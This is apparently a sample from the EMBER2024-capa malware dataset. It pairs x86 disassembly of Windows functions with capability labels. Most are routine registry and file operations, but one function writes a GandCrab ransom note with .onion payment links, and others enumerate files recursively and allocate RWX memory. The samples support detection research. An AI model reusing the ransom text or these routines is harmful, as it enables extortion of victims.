joyce8/EMBER2024-capa huggingface dataset:
Function at 0x19f08228
Capabilities:
Delete registry value

Disassembly:
push 0x43c
mov eax, 0x19f19541
call fcn.19e70fdc
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
xor esi, esi
mov dword [ebp - 0x444], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x440], esi
mov dword [ebp - 0x43c], esi
mov dword [ebp - 0x438], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x434], esi
mov dword [ebp - 0x430], esi
mov dword [ebp - 0x42c], esi
xor eax, eax
mov edi, 0x206
push edi
mov word [ebp - 0x420], ax
lea eax, [ebp - 0x41e]
push esi
push eax
call sub.msvcrt.dll_memset
xor eax, eax
push edi
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push esi
push eax
call sub.msvcrt.dll_memset
mov edi, dword [sym.imp.msvcrt.dll__itow]
push 0x10
lea eax, [ebp - 0x420]
push eax
push dword [ebp + 0x14]
call edi
push 0x10
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
call edi
add esp, 0x30
mov dword [ebp - 0x424], esi
mov dword [ebp - 0x448], esi
lea eax, [ebp - 0x424]
push eax
push ebx
mov byte [ebp - 4], 3
call fcn.19f0c16c
mov edi, eax
cmp edi, esi
jl 0x19f083a6
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x424]
call fcn.19f081e3
mov edi, eax
cmp edi, esi
jl 0x19f083a6
push 0x20106
lea eax, [ebp - 0x440]
push eax
push dword [ebp - 0x444]
call fcn.19f0b90c
mov edi, eax
cmp edi, esi
jl 0x19f083a6
push esi
push esi
push 0x2011f
push esi
push esi
lea eax, [ebp - 0x420]
push eax
push dword [ebp - 0x440]
lea ecx, [ebp - 0x434]
call fcn.19e7b441
mov ebx, 0x80004005
test eax, eax
je 0x19f08359
mov edi, ebx
cmp edi, esi
jl 0x19f083a6
push dword [ebp - 0x428]
call fcn.19f0c142
test eax, eax
jbe 0x19f08387
push 1
push dword [ebp - 0x428]
lea ecx, [ebp - 0x434]
push dword [ebp - 0x424]
call fcn.19e7b4f5
jmp 0x19f083a0
push dword [ebp - 0x424]
push dword [ebp - 0x434]
call dword [sym.imp.KERNEL32.dll_RegDeleteValueW]
cmp eax, 2
jne 0x19f083a0
xor eax, eax
cmp eax, esi
je 0x19f083a6
mov edi, ebx
push esi
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call esi
push dword [ebp - 0x424]
call esi
lea ecx, [ebp - 0x434]
call fcn.19e7b423
lea ecx, [ebp - 0x440]
call fcn.19e7b423
mov eax, edi
call fcn.19e7106e
ret 0x14
Function at 0x19f083dc
Capabilities:
Delete file
Delete registry value
Query environment variable

Disassembly:
push 0x648
mov eax, 0x19f1959a
call fcn.19e70fdc
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x634], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x63c], eax
mov dword [ebp - 0x654], ebx
mov dword [ebp - 0x650], ebx
mov dword [ebp - 0x64c], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x648], ebx
mov dword [ebp - 0x644], ebx
mov dword [ebp - 0x640], ebx
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x628], ax
lea eax, [ebp - 0x626]
push ebx
push eax
call sub.msvcrt.dll_memset
push 0x10
lea eax, [ebp - 0x628]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.msvcrt.dll__itow]
add esp, 0x18
mov dword [ebp - 0x630], ebx
mov dword [ebp - 0x638], ebx
lea eax, [ebp - 0x630]
push eax
push edi
mov byte [ebp - 4], 3
call fcn.19f0c16c
cmp eax, ebx
mov dword [ebp - 0x62c], eax
jl 0x19f08613
lea eax, [ebp - 0x638]
push eax
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
call fcn.19f07d70
cmp eax, ebx
mov dword [ebp - 0x62c], eax
jl 0x19f08613
push 0x20106
lea eax, [ebp - 0x654]
push eax
push dword [ebp - 0x634]
call fcn.19f0b90c
cmp eax, ebx
mov dword [ebp - 0x62c], eax
jl 0x19f08613
push ebx
push ebx
push 0x2011f
push ebx
push ebx
lea eax, [ebp - 0x628]
push eax
push dword [ebp - 0x654]
lea ecx, [ebp - 0x648]
call fcn.19e7b441
test eax, eax
je 0x19f084f9
mov dword [ebp - 0x62c], 0x80004005
cmp dword [ebp - 0x62c], ebx
jl 0x19f08613
cmp byte [ebp + 0x20], bl
je 0x19f08594
xor eax, eax
push esi
mov word [ebp - 0x420], ax
lea eax, [ebp - 0x41e]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x634]
push eax
lea eax, [ebp - 0x420]
push eax
push dword [ebp - 0x630]
mov edi, 0x104
lea ecx, [ebp - 0x648]
mov dword [ebp - 0x634], edi
call fcn.19f07ceb
test eax, eax
jne 0x19f08594
push esi
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push edi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.API_MS_Win_Core_ProcessEnvironment_L1_1_0.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x19f08594
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x63c]
call fcn.19f0c142
test eax, eax
jbe 0x19f085be
push 2
push dword [ebp - 0x63c]
lea ecx, [ebp - 0x648]
push dword [ebp - 0x630]
call fcn.19e7b4f5
jmp 0x19f085d7
push dword [ebp - 0x630]
push dword [ebp - 0x648]
call dword [sym.imp.KERNEL32.dll_RegDeleteValueW]
cmp eax, 2
jne 0x19f085d7
xor eax, eax
cmp eax, ebx
je 0x19f085e5
mov dword [ebp - 0x62c], 0x80004005
cmp dword [ebp - 0x62c], ebx
jl 0x19f08613
push 1
push dword [ebp - 0x638]
lea ecx, [ebp - 0x648]
push 0x19e6f118
call fcn.19e7b4f5
test eax, eax
je 0x19f08613
mov dword [ebp - 0x62c], 0x80004005
push dword [ebp - 0x638]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call esi
push dword [ebp - 0x630]
call esi
lea ecx, [ebp - 0x648]
call fcn.19e7b423
lea ecx, [ebp - 0x654]
call fcn.19e7b423
mov eax, dword [ebp - 0x62c]
call fcn.19e7106e
ret 0x1c
Function at 0x19f08b44
Capabilities:
Check if file exists
Delete registry value
Get file attributes
Query environment variable

Disassembly:
push 0x240
mov eax, 0x19f195f2
call fcn.19e70fdc
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x24c], esi
mov dword [ebp - 0x230], ecx
mov dword [ebp - 0x23c], edi
mov dword [ebp - 0x238], edi
mov dword [ebp - 0x234], edi
push 0x20119
lea ecx, [ebp - 0x23c]
push ecx
push eax
mov dword [ebp - 4], edi
mov byte [ebp - 0x221], 0
call fcn.19f0b90c
test eax, eax
jl 0x19f08ce4
mov eax, dword [esi + 4]
mov esi, dword [eax]
mov dword [ebp - 0x228], esi
cmp esi, eax
je 0x19f08ce4
jmp 0x19f08bb7
xor edi, edi
mov ebx, dword [esi + 0x1c]
xor eax, eax
push 0x206
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x21e]
push edi
push eax
call sub.msvcrt.dll_memset
mov eax, dword [esi + 0x20]
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x220]
push ecx
push eax
call dword [sym.imp.API_MS_Win_Core_ProcessEnvironment_L1_1_0.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x19f08ca1
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x19f08ca1
xor eax, eax
mov word [ebp - 0x18], ax
push 0xa
lea edi, [ebp - 0x16]
stosd dword es:[edi], eax
push 3
lea eax, [ebp - 0x18]
push eax
push ebx
call sub.msvcrt.dll__itow_s
add esp, 0x10
test eax, eax
jne 0x19f08ca1
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], eax
mov dword [ebp - 0x240], eax
push 2
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x23c]
lea ecx, [ebp - 0x248]
call fcn.19e7b496
test eax, eax
jne 0x19f08c96
lea eax, [ebp - 0x22c]
push eax
add esi, 0xc
push esi
call dword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
jne 0x19f08c96
push dword [ebp - 0x22c]
push dword [ebp - 0x248]
call dword [sym.imp.KERNEL32.dll_RegDeleteValueW]
test eax, eax
jne 0x19f08c8a
mov byte [ebp - 0x221], 1
push dword [ebp - 0x22c]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea ecx, [ebp - 0x248]
call fcn.19e7b423
lea ecx, [ebp - 0x228]
call fcn.19f07f57
mov esi, dword [ebp - 0x228]
mov eax, dword [ebp - 0x24c]
cmp esi, dword [eax + 4]
jne 0x19f08bb5
cmp byte [ebp - 0x221], 0
je 0x19f08ce4
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax]
push 0
push 0x19e62f78
push 4
push 0x8000006d
push eax
call dword [ecx + 0xc]
lea ecx, [ebp - 0x23c]
call fcn.19e7b423
call fcn.19e7106e
ret 0xc
Function at 0x19f0b1d0
Capabilities:
Query environment variable
Read file via mapping

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x19f20004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
xor esi, esi
cmp dword [ebx + 0x3c], 0xffffffff
mov dword [ebp - 0x220], esi
jne 0x19f0b387
push dword [ebx + 0x2c]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
test eax, eax
ja 0x19f0b210
xor eax, eax
inc eax
jmp 0x19f0b3ae
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
call sub.msvcrt.dll_memset
mov eax, dword [ebx + 0x2c]
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push eax
call dword [sym.imp.API_MS_Win_Core_ProcessEnvironment_L1_1_0.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x19f0b254
mov dword [ebp - 0x220], 0x80004005
jmp 0x19f0b271
push esi
push 0x2000
push 3
push esi
push 1
push 1
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebx + 0x38], eax
mov eax, dword [ebx + 0x38]
push edi
cmp eax, 0xffffffff
je 0x19f0b371
push esi
push esi
push esi
push 2
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebx + 0x3c], eax
cmp eax, 0xffffffff
je 0x19f0b38b
push esi
push esi
push esi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebx + 0x40], eax
cmp eax, esi
je 0x19f0b371
push 0x34
lea eax, [ebp - 0x254]
push esi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x254]
push eax
push dword [ebx + 0x38]
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov ecx, dword [ebp - 0x230]
mov dword [ebx + 0x44], ecx
cmp dword [ebp - 0x240], esi
jne 0x19f0b2ef
lea eax, [ebp - 0x250]
cmp dword [ebp - 0x23c], esi
je 0x19f0b2f5
lea eax, [ebp - 0x240]
mov edx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebx + 0x30], edx
mov dword [ebx + 0x34], eax
cmp ecx, 0x10
ja 0x19f0b30f
mov dword [ebp - 0x220], 0x80070018
cmp dword [ebp - 0x220], esi
jl 0x19f0b379
xor eax, eax
mov dword [ebp - 0x21c], esi
lea edi, [ebp - 0x218]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebx + 0x40]
cmp eax, esi
je 0x19f0b334
add eax, 0x10
jmp 0x19f0b336
xor eax, eax
push 0x10
lea edx, [ebp - 0x21c]
push edx
add ecx, 0xfffffff0
push ecx
push eax
call fcn.19f0c1c2
cmp eax, esi
mov dword [ebp - 0x220], eax
jl 0x19f0b379
mov edi, dword [ebx + 0x40]
push 4
pop ecx
lea esi, [ebp - 0x21c]
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
je 0x19f0b36f
mov dword [ebp - 0x220], 0x80070017
xor esi, esi
cmp dword [ebp - 0x220], esi
jge 0x19f0b380
mov ecx, ebx
call fcn.19f0b11f
cmp dword [ebx + 0x3c], 0xffffffff
pop edi
je 0x19f0b39f
xor eax, eax
jmp 0x19f0b3ae
cmp dword [ebp - 0x220], esi
jl 0x19f0b379
mov dword [ebp - 0x220], 0x80070002
jmp 0x19f0b371
mov eax, dword [ebp - 0x220]
cmp eax, esi
jl 0x19f0b3ae
mov eax, 0x80004005
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.19e70f3c
leave
ret
Function at 0x19f0b415
Capabilities:
Move file
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x19f20004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, ecx
lea edi, [esi + 0x2c]
push dword [edi]
call dword [sym.imp.OLEAUT32.dll_VariantInit]
test eax, eax
ja 0x19f0b448
mov eax, 0x80004005
jmp 0x19f0b4ba
mov ecx, esi
call fcn.19f0b11f
mov esi, eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x104
lea eax, [ebp - 0x20c]
push eax
push ebx
call dword [sym.imp.API_MS_Win_Core_ProcessEnvironment_L1_1_0.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x19f0b48b
mov esi, 0x80004005
test esi, esi
jl 0x19f0b4b8
mov eax, dword [edi]
push 0xb
lea ecx, [ebp - 0x20c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x19f0b4aa
mov esi, 0x80004005
test esi, esi
jl 0x19f0b4b8
push ebx
mov ecx, edi
call fcn.19f0b083
mov esi, eax
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.19e70f3c
leave
ret 4

Function at 0x19f0b4d0
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x220c
call fcn.19e81d20
mov eax, dword [0x19f20004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x19f0b57e
and dword [esi], 0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call sub.msvcrt.dll_memset
xor eax, eax
push 0x1ffe
push eax
mov word [ebp - 0x220c], ax
lea eax, [ebp - 0x220a]
push eax
call sub.msvcrt.dll_memset
add esp, 0x18
lea eax, [ebp - 0x220c]
push eax
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x20c]
push eax
push 0
push 0x19e6f35c
lea eax, [ebp - 0x220c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.19e70f3c
leave
ret 4
mov eax, 0x80070057
jmp 0x19f0b56f
Function at 0x19f0bb6a
Capabilities:
Delete file
Query environment variable

Disassembly:
push 0x210
mov eax, 0x19f1990f
call fcn.19e70fdc
mov esi, ecx
call fcn.19f0b11f
lea edi, [esi + 0x2c]
push dword [edi]
call fcn.19f0c142
test eax, eax
jbe 0x19f0bc2c
and dword [ebp - 0x21c], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x21c]
push eax
push dword [esi + 0x28]
lea eax, [esi + 0x18]
push eax
add esi, 8
push esi
call fcn.19f0b9db
mov esi, eax
test esi, esi
jl 0x19f0bc17
push edi
lea ecx, [ebp - 0x21c]
call fcn.19f0b8a9
test al, al
je 0x19f0bc17
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call sub.msvcrt.dll_memset
mov eax, dword [edi]
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x218]
push ecx
push eax
call dword [sym.imp.API_MS_Win_Core_ProcessEnvironment_L1_1_0.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x19f0bc06
mov esi, 0x80004005
test esi, esi
jl 0x19f0bc17
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [edi]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call esi
push dword [ebp - 0x21c]
and dword [edi], 0
call esi
call fcn.19e7106e
ret

Function at 0x19f0bf9f
Capabilities:
Create directory
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x19f20004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
mov edi, dword [ebp + 8]
push 0
push edi
call esi
test eax, eax
jne 0x19f0c034
mov ebx, dword [sym.imp.API_MS_Win_Core_ErrorHandling_L1_1_0.dll_GetLastError]
call ebx
cmp eax, 0xb7
je 0x19f0c034
call ebx
cmp eax, 3
jne 0x19f0c02d
push edi
push 0x104
lea eax, [ebp - 0x20c]
push eax
call fcn.19e733b4
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call dword [sym.imp.msvcrt.dll_wcsrchr]
pop ecx
pop ecx
test eax, eax
je 0x19f0c02d
lea ecx, [ebp - 0x20c]
cmp eax, ecx
je 0x19f0c02d
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x20c]
push eax
call fcn.19f0bf9f
test eax, eax
jne 0x19f0c02d
push eax
push edi
call esi
test eax, eax
jne 0x19f0c034
mov eax, 0x80004005
jmp 0x19f0c042
push 0x2000
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.19e70f3c
leave
ret 4

Function at 0x19f0c1c2
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
push edi
test esi, esi
je 0x19f0c1e4
cmp dword [ebp + 0x14], 0
je 0x19f0c1e4
push dword [ebp + 0x14]
push 0
push esi
call sub.msvcrt.dll_memset
add esp, 0xc
mov edi, dword [ebp + 8]
test edi, edi
je 0x19f0c22a
mov eax, dword [ebp + 0xc]
test eax, eax
jbe 0x19f0c22a
test esi, esi
je 0x19f0c22a
cmp dword [ebp + 0x14], 0x10
jne 0x19f0c22a
shr eax, 3
mov edx, eax
xor ecx, ecx
test edx, edx
jbe 0x19f0c226
push ebx
lea eax, [edi + ecx*8]
mov ebx, dword [eax]
xor dword [esi], ebx
mov ebx, dword [eax + 4]
xor dword [esi + 4], ebx
mov ebx, dword [eax]
add dword [esi + 8], ebx
mov eax, dword [eax + 4]
adc dword [esi + 0xc], eax
inc ecx
cmp ecx, edx
jb 0x19f0c208
pop ebx
xor eax, eax
jmp 0x19f0c22f
mov eax, 0x80070057
pop edi
pop esi
pop ebp
ret 0x10
Function at 0x406640
Capabilities:
Allocate or change rwx memory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x402
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push str._sGDCB_DECRYPT.txt
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40669e
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0xb7
sete bl
jmp 0x4066d0
mov eax, dword [str.____GANDCRAB_____r_n_r_nAttention__r_nAll_your_files_documents__photos__databases_and_other_important_files_are_encrypted_and_have_the_extension:_.GDCB__r_nThe_only_method_of_recovering_files_is_to_purchase_a_private_key._It_is_on_our_server_and_only_we_can_recover_your_files._r_nThe_server_with_your_key_is_in_a_closed_network_TOR._You_can_get_there_by_the_following_ways:_r_n1._Download_Tor_browser___https:__www.torproject.org__r_n2._Install_Tor_browser_r_n3._Open_Tor_Browser_r_n4._Open_link_in_tor_browser:_http:__gdcbghvjyqy7jclk.onion_93186d4080a15abb___________________________r_n5._Follow_the_instructions_on_this_page_r_n_r_n_r_nIf_Tor_Tor_browser_is_locked_in_your_country_or_you_can_not_install_it__open_one_of_the_following_links_in_your_regular_browser:_r_n1._http:__gdcbghvjyqy7jclk.onion.top_93186d4080a15abb___________________r_n2._http:__gdcbghvjyqy7jclk.onion.casa_93186d4080a15abb__________________r_n3._http:__gdcbghvjyqy7jclk.onion.guide_93186d4080a15abb____________________r_n4._http:__gdcbghvjyqy7jclk.onion.rip_93186d4080a15abb__________________________________________________r_n5._http:__gdcbghvjyqy7jclk.onion.plus_93186d4080a15abb________________________________r_n_r_nOn_our_page_you_will_see_instructions_on_payment_and_get_the_opportunity_to_decrypt_1_file_for_free._r_n_r_nDANGEROUS__r_nDo_not_try_to_modify_files_or_use_your_own_private_key___this_will_result_in_the_loss_of_your_data_forever__r_n]
test eax, eax
je 0x4066c4
push 0
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [0x412b04]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4066f0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov edi, ecx
call fcn.00406110
test eax, eax
je 0x406834
mov ecx, edi
call fcn.004064a0
test eax, eax
jne 0x406834
call fcn.00406640
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x410364
push edi
lea ebx, [edi + eax*2]
mov dword [ebp - 0x10], ebx
call esi
lea eax, [ebp - 0x264]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor ecx, ecx
mov dword [ebp - 8], eax
mov word [ebx], cx
cmp eax, 0xffffffff
jne 0x406764
mov eax, 0xdeadbeaf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp + 0x10]
jmp 0x406770
push 0x410368
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x406813
push 0x41036c
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x406813
lea eax, [ebp - 0x238]
push eax
push edi
call esi
test byte [ebp - 0x264], 0x10
je 0x4067d1
push 0x41039c
push edi
call esi
mov edx, dword [ebp - 0x14]
mov ecx, edi
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004066f0
add esp, 0xc
jmp 0x40680b
push dword [ebp + 8]
mov eax, dword [ebx]
lea edx, [ebp - 0x264]
mov esi, dword [ebx + 4]
push ecx
mov ecx, edi
mov dword [ebp - 0xc], eax
call fcn.004063b0
add esp, 8
add dword [ebx], eax
adc dword [ebx + 4], edx
cmp esi, dword [ebx + 4]
ja 0x406805
jb 0x406800
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebx]
jae 0x406805
mov eax, dword [ebp + 0xc]
inc dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406770
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4068f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 8]
push esi
push edi
xor edi, edi
call fcn.004077f0
push 0x40
push 0x3000
push 0x2801
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x4103ac
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push edi
push 0x40ff24
sub esp, 8
lea ecx, [ebp - 8]
push 0x27ff
push esi
push edi
push edi
push 0x4103b0
push 0x4103b4
call fcn.00407a00
test eax, eax
je 0x406971
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
cmp eax, 0x80
jae 0x406971
push esi
push 0x40ff64
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edi, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40698d
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x40145c
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x40146e
mov eax, dword [0x4c408b]
shl eax, 2
mov dword [0x4c408f], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.004b41d8
pop edx
call fcn.004b413c
call fcn.004b4218
push 0
call fcn.004b5760
pop ecx
push 0x4c4034
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x4c4093], eax
push 0
jmp fcn.004bd8b8